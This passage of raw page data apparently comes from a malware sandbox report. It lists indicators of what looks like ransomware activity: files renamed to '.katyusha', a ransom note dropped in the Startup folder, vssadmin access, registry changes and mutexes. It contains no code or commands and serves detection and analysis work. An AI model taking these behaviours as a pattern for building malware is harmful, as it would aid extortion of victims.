Menu\\Programs\\Startup\\_how_to_decrypt_you_files.html","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\autoexec.bat.katyusha","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\Office64WW.msi.katyusha","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\Office64WW.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\OWOW64WW.cab.katyusha","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.katyusha","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\Setup.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StandardWW.msi.katyusha","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\en-US\\mpr.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"PIPE\\DAV RPC SERVICE","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StandardWW.xml.katyusha","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StdWW.cab","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"path":"C:\\MSOCache\\All Users\\{90140000-0012-0000-0000-0000000FF1CE}-C\\StdWW.cab.katyusha","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"\\REGISTRY\\MACHINE\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"\\REGISTRY\\MACHINE\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"\\REGISTRY\\MACHINE\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"\\REGISTRY\\MACHINE\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"\\REGISTRY\\MACHINE\\SOFTWARE\\CLASSES\\","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"SOFTWARE\\MICROSOFT\\WBEM\\WDM\\","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\WDM\\C:\\WINDOWS\\SYSTEM32\\DRIVERS\\EN-US\\NDIS.SYS.MUI[MOFRESOURCENAME]\\C:\\WINDOWS\\SYSTEM32\\DRIVERS\\EN-US\\NDIS.SYS.MUI[MOFRESOURCENAME]","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\WDM\\C:\\WINDOWS\\SYSTEM32\\DRIVERS\\NDIS.SYS[MOFRESOURCENAME]\\C:\\WINDOWS\\SYSTEM32\\DRIVERS\\NDIS.SYS[MOFRESOURCENAME]","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WBEM\\WDM\\C:\\WINDOWS\\SYSTEM32\\DRIVERS\\MONITOR.SYS[MONITORWMI]\\C:\\WINDOWS\\SYSTEM32\\DRIVERS\\MONITOR.SYS[MONITORWMI]","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"},{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"615288724064b551e223af59"},{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3064:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3064:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:3064:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Global\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:3064:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7896:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7896:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:7896:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:7896:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6832:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:6832:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4040:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:4040:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6996:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:6996:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1020:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:1020:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2900:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:2900:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:8176:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:8176:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6900:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:6900:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3640:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:4696:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:7580:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:7240:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:6712:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:6976:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:7156:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:1700:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:3640:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4696:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7580:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7240:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6712:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6976:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7156:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1700:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7252:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7252:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:7252:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:7252:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3000:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3000:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:3000:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:3000:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6072:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:6072:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:6072:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2304:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2304:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:2304:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"Local\\SM0:2304:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6371f5adcac07a0dee0d13b6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5bdff5a37ca3e1433d19f8da"}]}]}},"report_ids":{"sandbox_job_ids":["6371f5adcac07a0dee0d13b6","615288724064b551e223af59","5bdff5a37ca3e1433d19f8da"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious GenPack:Generic.Malware.FBV2 Sample d00ee0e6eab6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample d00ee0e6eab6…. Malware family: GenPack:Generic.Malware.FBV2. Threat score 100/100. 20/27 AV engines flagged this file. 16 malicious and 39 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6"}],["$","meta","4",{"property":"og:title","content":"Malicious GenPack:Generic.Malware.FBV2 Sample d00ee0e6eab6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample d00ee0e6eab6…. Malware family: GenPack:Generic.Malware.FBV2. Threat score 100/100. 20/27 AV engines flagged this file. 16 malicious and 39 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious GenPack:Generic.Malware.FBV2 Sample d00ee0e6eab6… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample d00ee0e6eab6…. Malware family: GenPack:Generic.Malware.FBV2. Threat score 100/100. 20/27 AV engines flagged this file. 16 malicious and 39 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L45","11",{}]]